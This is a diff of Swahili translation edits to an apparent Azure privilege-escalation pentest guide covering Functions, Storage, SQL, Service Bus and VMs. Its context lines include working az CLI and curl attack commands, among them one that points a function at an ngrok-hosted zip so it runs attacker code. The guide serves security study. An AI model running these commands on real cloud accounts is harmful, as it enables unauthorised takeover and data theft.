> Kwa ruhusa ya kutosha kuungana na kontena la blob ambalo **linabeba msimbo katika faili la nyongeza ya zip** (ambalo kwa kweli ni **`squashfs`**) inawezekana kutekeleza msimbo wowote katika Function na kupandisha ruhusa.
@@ -122,7 +122,7 @@ Ruhusa hii inaruhusu kuorodhesha funguo za kazi, funguo kuu na funguo za mfumo,
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
Kwa funguo kuu, pia inawezekana kupata msimbo wa chanzo katika URL kama:
Kwa funguo kuu pia inawezekana kupata msimbo wa chanzo katika URL kama:
```bash
# Get "script_href" from
az rest --method GET \
@@ -151,7 +151,7 @@ az rest --method POST --uri "https://management.azure.com/subscriptions/<subsrip
```
### Microsoft.Web/sites/host/functionKeys/write
Ruhusa hii inaruhusu kuunda/update funguo ya kazi ya kazi iliyoainishwa na:
Ruhusa hii inaruhusu kuunda/update funguo za kazi za kazi iliyoainishwa na:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
@@ -203,9 +203,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- Badilisha kazi, shika vigezo vya awali na ongeza mwishoni config **`WEBSITE_RUN_FROM_PACKAGE`** ikielekeza kwenye URL yenye **zip** inayoshikilia msimbo.
- Badilisha kazi, shika vigezo vya awali na ongeza mwishoni **`WEBSITE_RUN_FROM_PACKAGE`** ikielekeza kwenye URL yenye **zip** inayoshikilia msimbo.
Mfano ufuatao ni wa **mipangilio yangu mwenyewe unahitaji kubadilisha thamani kwa zako**, kumbuka mwishoni thamani `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , hapa ndipo nilipokuwa nikihifadhi programu.
Mfano ufuatao ni wa **mipangilio yangu mwenyewe unahitaji kubadilisha thamani kwa zako**, angalia mwishoni thamani `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , hapa ndipo nilipokuwa nikihifadhi programu.
```bash
# Modify the function
az rest --method PUT \
@@ -234,7 +234,7 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \
--output json
```
Chaguo lingine lingekuwa kuweka akreditivu zako mwenyewe na kuzitumia kwa kutumia:
Njia nyingine ingekuwa kuweka akreditivu zako mwenyewe na kuzitumia kwa:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
@@ -264,7 +264,7 @@ az rest --method PUT \
```
- **Method SCM**
Kisha, unaweza kufikia na hizi **basic auth credentials kwa URL ya SCM** ya programu yako ya kazi na kupata thamani za mabadiliko ya env:
Kisha, unaweza kufikia na hizi **basic auth credentials to the SCM URL** ya programu yako ya kazi na kupata thamani za mabadiliko ya env:
```bash
# Get settings values
curl -u '<username>:<password>' \
@@ -301,7 +301,7 @@ _Note that the **FTP username** is usually in the format \<app-name>\\$\<app-nam
### Microsoft.Web/sites/publish/Action
According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), ruhusa hii inaruhusu **kutekeleza amri ndani ya seva ya SCM** ambayo inaweza kutumika kubadilisha msimbo wa chanzo wa programu:
Kulingana na [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), ruhusa hii inaruhusu **kutekeleza amri ndani ya seva ya SCM** ambayo inaweza kutumika kubadilisha msimbo wa chanzo wa programu:
```bash
az rest --method POST \
--resource "https://management.azure.com/" \
@@ -344,7 +344,7 @@ az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/res
```
### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
Kwa ruhusa hizi inawezekana **kubadilisha kontena linalosimamiwa na programu ya kazi** iliyowekwa ili kuendesha kontena. Hii itamruhusu mshambuliaji kupakia programu ya kontena ya kazi ya azure yenye uharibifu kwenye docker hub (kwa mfano) na kufanya kazi hiyo iite.
Kwa ruhusa hizi inawezekana **kubadilisha kontena linalotumiwa na programu ya kazi** iliyowekwa ili kuendesha kontena. Hii itamruhusu mshambuliaji kupakia programu ya kontena ya kazi ya azure yenye uharibifu kwenye docker hub (kwa mfano) na kufanya kazi hiyo iite.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
@@ -352,7 +352,7 @@ az functionapp config container set --name <app-name> \
```
### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
Kwa ruhusa hizi inawezekana **kuunganisha utambulisho wa mtumiaji aliyejisimamia mpya kwa kazi**. Ikiwa kazi hiyo ilikumbwa na hatari hii itaruhusu kupandisha mamlaka kwa utambulisho wowote wa mtumiaji aliyejisimamia.
Kwa ruhusa hizi inawezekana **kuunganisha utambulisho wa mtumiaji uliosimamiwa mpya kwa kazi**. Ikiwa kazi hiyo ilikumbwa na hatari hii itaruhusu kupandisha mamlaka kwa utambulisho wowote wa mtumiaji uliosimamiwa.
```bash
az functionapp identity assign \
--name <app-name> \
@@ -361,7 +361,7 @@ az functionapp identity assign \
```
### Remote Debugging
Inawezekana pia kuungana ili kudebug kazi inayotembea ya Azure kama [**ilivyoelezwa katika nyaraka**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Hata hivyo, kwa kawaida Azure itazima chaguo hili baada ya siku 2 ikiwa mendelevu atasahau ili kuepuka kuacha usanidi dhaifu.
Inawezekana pia kuungana ili kudebug kazi inayotembea ya Azure kama [**ilivyoelezwa katika nyaraka**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Hata hivyo, kwa default Azure itazima chaguo hili baada ya siku 2 ikiwa mendelevu atasahau ili kuepuka kuacha usanidi dhaifu.
Inawezekana kuangalia ikiwa Kazi ina uwezo wa kudebug kwa:
```bash
@@ -373,8 +373,8 @@ az functionapp config set --remote-debugging-enabled=True --name <app-name> --re
```
### Badilisha Github repo
Nilijaribu kubadilisha Github repo kutoka ambapo kutekelezwa kunafanyika kwa kutekeleza amri zifuatazo lakini hata kama ilibadilika, **msimbo mpya haukupakuliwa** (labda kwa sababu inategemea Github Action kuboresha msimbo).\
Zaidi ya hayo, **kitambulisho cha usimamizi wa shirikisho hakikubadilishwa** kuruhusu hazina mpya, hivyo inaonekana kwamba hii si ya manufaa sana.
Nilijaribu kubadilisha Github repo kutoka ambapo kutekelezwa kunafanyika kwa kutekeleza amri zifuatazo lakini hata kama ilibadilika, **msimbo mpya haukupakuliwa** (labda kwa sababu inatarajia Github Action kuboresha msimbo).\
Zaidi ya hayo, **kitambulisho cha usimamizi wa shirikisho hakikubadilishwa** kuruhusu hazina mpya, hivyo inaonekana kama hii si ya manufaa sana.
```bash
# Remove current
az functionapp deployment source delete \

View File

@@ -12,7 +12,7 @@ Kwa maelezo zaidi kuhusu huduma hii angalia:
### Microsoft.KeyVault/vaults/write
Mshambuliaji mwenye ruhusa hii ataweza kubadilisha sera ya vault ya funguo (vault ya funguo inapaswa kutumia sera za ufikiaji badala ya RBAC).
Mshambuliaji mwenye ruhusa hii ataweza kubadilisha sera ya vault ya funguo (vault ya funguo lazima itumie sera za ufikiaji badala ya RBAC).
```bash
# If access policies in the output, then you can abuse it
az keyvault show --name <vault-name>

View File

@@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia:
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
Mshambuliaji mwenye ruhusa hii anaweza kuangalia ujumbe kutoka kwa Azure Storage Queue. Hii inamruhusu mshambuliaji kuona maudhui ya ujumbe bila kuashiria kuwa umeshughulikiwa au kubadilisha hali yao. Hii inaweza kusababisha ufikiaji usioidhinishwa wa taarifa nyeti, ikiruhusu uhamasishaji wa data au kukusanya taarifa kwa mashambulizi zaidi.
Mshambuliaji mwenye ruhusa hii anaweza kuangalia ujumbe kutoka kwa Azure Storage Queue. Hii inamruhusu mshambuliaji kuona maudhui ya ujumbe bila kuashiria kuwa yamechakatwa au kubadilisha hali yao. Hii inaweza kusababisha ufikiaji usioidhinishwa wa taarifa nyeti, ikiruhusu uhamasishaji wa data au kukusanya taarifa kwa mashambulizi zaidi.
```bash
az storage message peek --queue-name <queue_name> --account-name <storage_account>
```
@@ -20,7 +20,7 @@ az storage message peek --queue-name <queue_name> --account-name <storage_accoun
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action`
Kwa ruhusa hii, mshambuliaji anaweza kupata na kushughulikia ujumbe kutoka kwa Azure Storage Queue. Hii inamaanisha wanaweza kusoma maudhui ya ujumbe na kuashiria kama umeshughulikiwa, kwa ufanisi wakificha kutoka kwa mifumo halali. Hii inaweza kusababisha kufichuliwa kwa data nyeti, usumbufu katika jinsi ujumbe unavyoshughulikiwa, au hata kusimamisha michakato muhimu kwa kufanya ujumbe usipatikane kwa watumiaji wao waliokusudiwa.
Kwa ruhusa hii, mshambuliaji anaweza kupata na kushughulikia ujumbe kutoka kwa Azure Storage Queue. Hii inamaanisha wanaweza kusoma maudhui ya ujumbe na kuashiria kama umeshughulikiwa, kwa ufanisi wakificha kutoka kwa mifumo halali. Hii inaweza kusababisha kufichuliwa kwa data nyeti, usumbufu katika jinsi ujumbe unavyoshughulikiwa, au hata kusitisha michakato muhimu kwa kufanya ujumbe usipatikane kwa watumiaji wao waliokusudiwa.
```bash
az storage message get --queue-name <queue_name> --account-name <storage_account>
```
@@ -32,7 +32,7 @@ az storage message put --queue-name <queue-name> --content "Injected malicious m
```
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
Ruhusa hii inaruhusu mshambuliaji kuongeza ujumbe mpya au kuboresha wale waliopo katika Azure Storage Queue. Kwa kutumia hii, wanaweza kuingiza maudhui mabaya au kubadilisha ujumbe waliopo, ambayo yanaweza kuongoza vibaya programu au kusababisha tabia zisizohitajika katika mifumo inayotegemea foleni.
Ruhusa hii inamruhusu mshambuliaji kuongeza ujumbe mpya au kuboresha wale waliopo katika Azure Storage Queue. Kwa kutumia hii, wanaweza kuingiza maudhui mabaya au kubadilisha ujumbe waliopo, ambayo yanaweza kupelekea upotoshaji wa programu au kusababisha tabia zisizohitajika katika mifumo inayotegemea foleni.
```bash
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
@@ -46,7 +46,7 @@ az storage message update --queue-name <queue-name> \
```
### Action: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
Ruhusa hii inaruhusu mshambuliaji kuunda au kubadilisha foleni na mali zao ndani ya akaunti ya hifadhi. Inaweza kutumika kuunda foleni zisizoidhinishwa, kubadilisha metadata, au kubadilisha orodha za udhibiti wa ufikiaji (ACLs) ili kutoa au kupunguza ufikiaji. Uwezo huu unaweza kuharibu michakato, kuingiza data mbaya, kuhamasisha taarifa nyeti, au kubadilisha mipangilio ya foleni ili kuwezesha mashambulizi zaidi.
Ruhusa hii inaruhusu mshambuliaji kuunda au kubadilisha foleni na mali zao ndani ya akaunti ya hifadhi. Inaweza kutumika kuunda foleni zisizoidhinishwa, kubadilisha metadata, au kubadilisha orodha za udhibiti wa ufikiaji (ACLs) ili kutoa au kupunguza ufikiaji. Uwezo huu unaweza kuharibu mchakato wa kazi, kuingiza data mbaya, kuhamasisha taarifa nyeti, au kubadilisha mipangilio ya foleni ili kuwezesha mashambulizi zaidi.
```bash
az storage queue create --name <new-queue-name> --account-name <storage-account>

View File

@@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia:
### Tuma Ujumbe. Kitendo: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` AU `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
Unaweza kupata `PrimaryConnectionString`, ambayo inafanya kazi kama kitambulisho kwa ajili ya Service Bus namespace. Kwa kutumia uhusiano huu, unaweza kuthibitisha kikamilifu kama Service Bus namespace, na kukuwezesha kutuma ujumbe kwa foleni au mada yoyote na kwa uwezekano kuingiliana na mfumo kwa njia ambazo zinaweza kuharibu shughuli, kujifanya kuwa watumiaji halali, au kuingiza data mbaya katika mchakato wa ujumbe.
Unaweza kupata `PrimaryConnectionString`, ambayo inafanya kazi kama akidi kwa namespace ya Service Bus. Pamoja na uhusiano huu, unaweza kuthibitisha kikamilifu kama namespace ya Service Bus, na kukuwezesha kutuma ujumbe kwa foleni au mada yoyote na kwa uwezekano kuingiliana na mfumo kwa njia ambazo zinaweza kuharibu shughuli, kujifanya kuwa watumiaji halali, au kuingiza data mbaya katika mchakato wa ujumbe.
```python
#You need to install the following libraries
#pip install azure-servicebus
@@ -83,7 +83,7 @@ print("----------------------------")
```
### Pokea Ujumbe. Kitendo: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` AU `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
Unaweza kupata PrimaryConnectionString, ambayo inatumika kama akidi kwa ajili ya Service Bus namespace. Kwa kutumia uhusiano huu, unaweza kupokea ujumbe kutoka kwa foleni yoyote au usajili ndani ya namespace, ikiruhusu ufikiaji wa data ambayo inaweza kuwa nyeti au muhimu, ikihamasisha uhamasishaji wa data, au kuingilia kati mchakato wa ujumbe na michakato ya programu.
Unaweza kupata PrimaryConnectionString, ambayo inatumika kama akidi kwa ajili ya Service Bus namespace. Kwa kutumia uhusiano huu, unaweza kupokea ujumbe kutoka kwa foleni yoyote au usajili ndani ya namespace, ikiruhusu ufikiaji wa data ambayo inaweza kuwa nyeti au muhimu, ikiruhusu uhamasishaji wa data, au kuingilia kati katika usindikaji wa ujumbe na michakato ya programu.
```python
#You need to install the following libraries
#pip install azure-servicebus
@@ -129,7 +129,7 @@ print("----------------------------")
```
### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
Ikiwa una ruhusa hizi, unaweza kuongeza mamlaka kwa kusoma au kuunda funguo za ufikiaji wa pamoja. Funguo hizi zinakupa udhibiti kamili juu ya namespace ya Service Bus, ikiwa ni pamoja na kusimamia foleni, mada, na kutuma/kupokea ujumbe, ambayo inaweza kupita udhibiti wa ufikiaji wa msingi wa jukumu (RBAC).
Ikiwa una ruhusa hizi, unaweza kuongeza mamlaka kwa kusoma au kuunda funguo za ufikiaji wa pamoja. Funguo hizi zinakupa udhibiti kamili juu ya namespace ya Service Bus, ikiwa ni pamoja na kusimamia foleni, mada, na kutuma/ kupokea ujumbe, ambayo inaweza kupita udhibiti wa ufikiaji kulingana na majukumu (RBAC).
```bash
az servicebus namespace authorization-rule update \
--resource-group <MyResourceGroup> \

View File

@@ -12,7 +12,7 @@ Kwa maelezo zaidi kuhusu SQL Database angalia:
### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
Kwa ruhusa hizi, mtumiaji anaweza kufanya kupandisha hadhi kwa kuboresha au kuunda Azure SQL servers na kubadilisha mipangilio muhimu, ikiwa ni pamoja na akcredentials za usimamizi. Ruhusa hii inamruhusu mtumiaji kuboresha mali za server, ikiwa ni pamoja na nenosiri la msimamizi wa SQL server, na kuwezesha ufikiaji usioidhinishwa au udhibiti wa server. Wanaweza pia kuunda servers mpya, ambayo inaweza kuanzisha miundombinu ya kivuli kwa madhumuni mabaya. Hii inakuwa muhimu hasa katika mazingira ambapo "Microsoft Entra Authentication Only" imezimwa, kwani wanaweza kutumia uthibitishaji wa SQL kupata ufikiaji usio na kikomo.
Kwa ruhusa hizi, mtumiaji anaweza kufanya kupandisha hadhi kwa kuboresha au kuunda Azure SQL servers na kubadilisha mipangilio muhimu, ikiwa ni pamoja na akcredentials za usimamizi. Ruhusa hii inamruhusu mtumiaji kuboresha mali za server, ikiwa ni pamoja na nenosiri la msimamizi wa SQL server, ikiruhusu ufikiaji usioidhinishwa au udhibiti juu ya server. Wanaweza pia kuunda servers mpya, huenda wakileta miundombinu ya kivuli kwa madhumuni mabaya. Hii inakuwa muhimu hasa katika mazingira ambapo "Microsoft Entra Authentication Only" imezimwa, kwani wanaweza kutumia uthibitishaji wa SQL kupata ufikiaji usio na kikomo.
```bash
# Change the server password
az sql server update \
@@ -37,7 +37,7 @@ az sql server update \
```
### "Microsoft.Sql/servers/firewallRules/write"
Mshambuliaji anaweza kubadilisha sheria za firewall kwenye Azure SQL servers ili kuruhusu ufikiaji usioidhinishwa. Hii inaweza kutumika kufungua server kwa anwani maalum za IP au anuwai nzima za IP, ikiwa ni pamoja na IP za umma, ikiruhusu ufikiaji kwa wahalifu. Shughuli hii ya baada ya unyakuzi inaweza kutumika kupita udhibiti wa usalama wa mtandao uliopo, kuanzisha kudumu, au kuwezesha harakati za upande ndani ya mazingira kwa kufichua rasilimali nyeti.
Mshambuliaji anaweza kubadilisha sheria za firewall kwenye Azure SQL servers ili kuruhusu ufikiaji usioidhinishwa. Hii inaweza kutumika kufungua seva kwa anwani maalum za IP au anuwai nzima za IP, ikiwa ni pamoja na IP za umma, na kuruhusu ufikiaji kwa wahusika wabaya. Shughuli hii ya baada ya unyakuzi inaweza kutumika kupita udhibiti wa usalama wa mtandao uliopo, kuanzisha kudumu, au kuwezesha harakati za upande ndani ya mazingira kwa kufichua rasilimali nyeti.
```bash
# Create Firewall Rule
az sql server firewall-rule create \
@@ -69,7 +69,7 @@ az sql server firewall-rule create \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>
```
Zaidi ya hayo, ruhusa ya `Microsoft.Sql/servers/ipv6FirewallRules/delete` inakuwezesha kufuta Kanuni ya Firewall.
Zaidi ya hayo, ruhusa ya `Microsoft.Sql/servers/ipv6FirewallRules/delete` inakuwezesha kufuta Sheria ya Firewall.
KUMBUKA: Ni muhimu kuwa na ufikiaji wa umma ulioanzishwa
### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"

View File

@@ -12,7 +12,7 @@ Kwa maelezo zaidi kuhusu uhifadhi angalia:
### Microsoft.Storage/storageAccounts/listkeys/action
Mtu mwenye ruhusa hii ataweza kuorodhesha (na thamani za siri) za **funguo za ufikiaji** za akaunti za uhifadhi. Hii inaruhusu mtu huyo kupandisha hadhi yake juu ya akaunti za uhifadhi.
Mtu mwenye ruhusa hii ataweza kuorodhesha (na thamani za siri) za **funguo za ufikiaji** za akaunti za uhifadhi. Hii inaruhusu mtu huyo kuongeza mamlaka yake juu ya akaunti za uhifadhi.
```bash
az storage account keys list --account-name <acc-name>
```
@@ -38,10 +38,10 @@ az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<
### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
Ruhusa ya kwanza inaruhusu **kubadilisha sera za kutokuweza kubadilishwa** katika kontena na ya pili inaruhusu kuzifuta.
Ruhusa ya kwanza inaruhusu **kubadilisha sera za kutoweza kubadilishwa** katika kontena na ya pili inaruhusu kuzifuta.
> [!NOTE]
> Kumbuka kwamba ikiwa sera ya kutokuweza kubadilishwa iko katika hali ya kufungwa, huwezi kufanya mojawapo ya hizo mbili.
> Kumbuka kwamba ikiwa sera ya kutoweza kubadilishwa iko katika hali ya kufungwa, huwezi kufanya mojawapo ya hizo mbili.
```bash
az storage container immutability-policy delete \
--account-name <STORAGE_ACCOUNT_NAME> \
@@ -82,14 +82,14 @@ az storage account local-user create \
```
### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
Kwa ruhusa hii, mshambuliaji anaweza kuunda upya nenosiri la mtumiaji wa ndani katika akaunti ya Azure Storage. Hii inampa mshambuliaji uwezo wa kupata akreditif mpya za uthibitishaji (kama vile nenosiri la SSH au SFTP) kwa mtumiaji. Kwa kutumia akreditif hizi, mshambuliaji anaweza kupata ufikiaji usioidhinishwa kwenye akaunti ya hifadhi, kufanya uhamishaji wa faili, au kubadilisha data ndani ya kontena za hifadhi. Hii inaweza kusababisha uvujaji wa data, uharibifu, au mabadiliko mabaya ya maudhui ya akaunti ya hifadhi.
Kwa ruhusa hii, mshambuliaji anaweza kuunda upya nenosiri la mtumiaji wa ndani katika akaunti ya Azure Storage. Hii inampa mshambuliaji uwezo wa kupata hati mpya za uthibitishaji (kama vile nenosiri la SSH au SFTP) kwa mtumiaji. Kwa kutumia hati hizi, mshambuliaji anaweza kupata ufikiaji usioidhinishwa kwenye akaunti ya hifadhi, kufanya uhamishaji wa faili, au kubadilisha data ndani ya kontena za hifadhi. Hii inaweza kusababisha uvujaji wa data, uharibifu, au mabadiliko mabaya ya maudhui ya akaunti ya hifadhi.
```bash
az storage account local-user regenerate-password \
--account-name <STORAGE_ACCOUNT_NAME> \
--resource-group <RESOURCE_GROUP_NAME> \
--name <LOCAL_USER_NAME>
```
Ili kufikia Azure Blob Storage kupitia SFTP kwa kutumia mtumiaji wa ndani kupitia SFTP unaweza (unaweza pia kutumia ssh key kuungana):
Ili kufikia Azure Blob Storage kupitia SFTP kwa kutumia mtumiaji wa ndani kupitia SFTP unaweza (unaweza pia kutumia funguo za ssh kuungana):
```bash
sftp <local-user-name>@<storage-account-name>.blob.core.windows.net
#regenerated-password
@@ -112,7 +112,7 @@ az storage blob undelete \
```
### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read
Kwa ruhusa hizi, mshambuliaji anaweza kurejesha sehemu ya faili ya Azure iliyofutwa kwa kubainisha kitambulisho chake cha toleo lililofutwa. Kuinua ruhusa hii kunaweza kumwezesha mshambuliaji kurejesha data nyeti ambayo ilikusudiwa kufutwa kabisa, ambayo inaweza kusababisha ufikiaji usioidhinishwa.
Kwa ruhusa hizi, mshambuliaji anaweza kurejesha sehemu ya faili ya Azure iliyofutwa kwa kubainisha kitambulisho cha toleo lake lililofutwa. Kuinua kwa ruhusa hii kunaweza kumwezesha mshambuliaji kurejesha data nyeti ambayo ilikusudiwa kufutwa kabisa, ambayo inaweza kusababisha ufikiaji usioidhinishwa.
```bash
az storage share-rm restore \
--storage-account <STORAGE_ACCOUNT_NAME> \
@@ -121,12 +121,12 @@ az storage share-rm restore \
```
## Mamlaka mengine ya kuvutia (TODO)
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Hubadilisha umiliki wa blob
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Hubadilisha mamlaka ya blob
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Inabadilisha umiliki wa blob
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Inabadilisha mamlaka ya blob
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Inarudisha matokeo ya amri ya blob
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action
## Marejeo
## Marejeleo
- [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage)
- [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)

View File

@@ -13,7 +13,7 @@ Kwa maelezo zaidi kuhusu Azure Virtual Machines na Network angalia:
### **`Microsoft.Compute/virtualMachines/extensions/write`**
Ruhusa hii inaruhusu kutekeleza nyongeza katika mashine za virtual ambazo zinaruhusu **kutekeleza msimbo wowote juu yao**.\
Mfano wa kutumia nyongeza za kawaida kutekeleza amri za kawaida katika VM:
Mfano wa kutumia nyongeza za kawaida kutekeleza amri zisizo za kawaida katika VM:
{{#tabs }}
{{#tab name="Linux" }}
@@ -87,7 +87,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
{{#endtab }}
{{#endtabs }}
Pia inawezekana kutumia nyongeza zinazojulikana vizuri kutekeleza msimbo au kufanya vitendo vya kibali ndani ya VMs:
Pia inawezekana kutumia nyongeza zinazojulikana vizuri ili kutekeleza msimbo au kufanya vitendo vya kibali ndani ya VMs:
<details>
@@ -163,9 +163,9 @@ Hii ni nyongeza ya VM ambayo itaruhusu kutekeleza runbooks katika VMs kutoka kwa
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
Hizi ni ruhusa zinazohitajika ili **kuunda programu mpya ya galleri na kuitekeleza ndani ya VM**. Programu za galleri zinaweza kutekeleza chochote hivyo mshambuliaji anaweza kutumia hii kuathiri mifano ya VM zinazotekeleza amri zisizo na mipaka.
Hizi ndizo ruhusa zinazohitajika ili **kuunda programu mpya ya galleri na kuitekeleza ndani ya VM**. Programu za galleri zinaweza kutekeleza chochote hivyo mshambuliaji anaweza kutumia hii kuathiri mifano ya VM zinazotekeleza amri zisizo na mipaka.
Ruhusa za mwisho 2 zinaweza kuepukwa kwa kushiriki programu hiyo na mpangaji.
Ruhusa 2 za mwisho zinaweza kuepukwa kwa kushiriki programu hiyo na mpangaji.
Mfano wa unyakuzi wa kutekeleza amri zisizo na mipaka:
@@ -310,7 +310,7 @@ Ingia kupitia **SSH** na **`az ssh vm --name <vm-name> --resource-group <rsc-gro
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Hizi zote ni ruhusa muhimu za **kuunda VM yenye utambulisho maalum wa kusimamiwa** na kuacha **bandari wazi** (22 katika kesi hii). Hii inamruhusu mtumiaji kuunda VM na kuungana nayo na **kuchukua alama za utambulisho wa kusimamiwa** ili kupandisha mamlaka kwake.
Hizi zote ni ruhusa muhimu za **kuunda VM yenye utambulisho maalum wa kusimamiwa** na kuacha **bandari wazi** (22 katika kesi hii). Hii inamruhusu mtumiaji kuunda VM na kuungana nayo na **kuchukua token za utambulisho wa kusimamiwa** ili kupandisha mamlaka kwake.
Kulingana na hali, ruhusa zaidi au chache zinaweza kuhitajika ili kutumia mbinu hii.
```bash
@@ -327,7 +327,7 @@ az vm create \
```
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Ruhusa hizo zinatosha **kuteua utambulisho mpya wa usimamizi kwa VM**. Kumbuka kwamba VM inaweza kuwa na utambulisho kadhaa wa usimamizi. Inaweza kuwa na **ule wa mfumo** na **utambulisho mwingi wa usimamizi wa mtumiaji**.\
Ruhusa hizi zinatosha **kuteua utambulisho mpya wa usimamizi kwa VM**. Kumbuka kwamba VM inaweza kuwa na utambulisho kadhaa wa usimamizi. Inaweza kuwa na **ule wa mfumo**, na **utambulisho mwingi wa usimamizi wa mtumiaji**.\
Kisha, kutoka kwa huduma ya metadata inawezekana kuzalisha tokeni kwa kila mmoja.
```bash
# Get currently assigned managed identities to the VM

View File

@@ -30,7 +30,7 @@ Headers = @{
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'
```
#### Azure API kupitia Python Toleo
#### Azure API kupitia toleo la Python
```python
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
@@ -62,6 +62,6 @@ return func.HttpResponse(val, status_code=200)
```
## Orodha ya Huduma
**Kurasa za sehemu hii zimepangwa kwa huduma za Azure. Ndani yake utaweza kupata taarifa kuhusu huduma hiyo (jinsi inavyofanya kazi na uwezo) na pia jinsi ya kuhesabu kila huduma.**
**Kurasa za sehemu hii zimepangwa kwa huduma za Azure. Ndani yake utaweza kupata taarifa kuhusu huduma hiyo (jinsi inavyofanya kazi na uwezo wake) na pia jinsi ya kuhesabu kila huduma.**
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,11 +4,11 @@
## Basic Information
Azure Container Registry (ACR) ni huduma inayosimamiwa inayotolewa na Microsoft Azure kwa **hifadhi na usimamizi wa picha za kontena za Docker na vitu vingine**. Inatoa vipengele kama vile zana za maendeleo zilizounganishwa, geo-replication, hatua za usalama kama udhibiti wa ufikiaji kulingana na majukumu na uchambuzi wa picha, ujenzi wa otomatiki, webhooks na triggers, na kutengwa kwa mtandao. Inafanya kazi na zana maarufu kama Docker CLI na Kubernetes, na inajumuika vizuri na huduma nyingine za Azure.
Azure Container Registry (ACR) ni huduma inayosimamiwa inayotolewa na Microsoft Azure kwa **hifadhi na usimamizi wa picha za kontena za Docker na vitu vingine**. Inatoa vipengele kama vile zana za maendeleo zilizojumuishwa, geo-replication, hatua za usalama kama udhibiti wa ufikiaji kulingana na majukumu na uchambuzi wa picha, ujenzi wa otomatiki, webhooks na vichocheo, na kutengwa kwa mtandao. Inafanya kazi na zana maarufu kama Docker CLI na Kubernetes, na inajumuika vizuri na huduma nyingine za Azure.
### Enumerate
Ili kuorodhesha huduma hiyo unaweza kutumia skripti [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1):
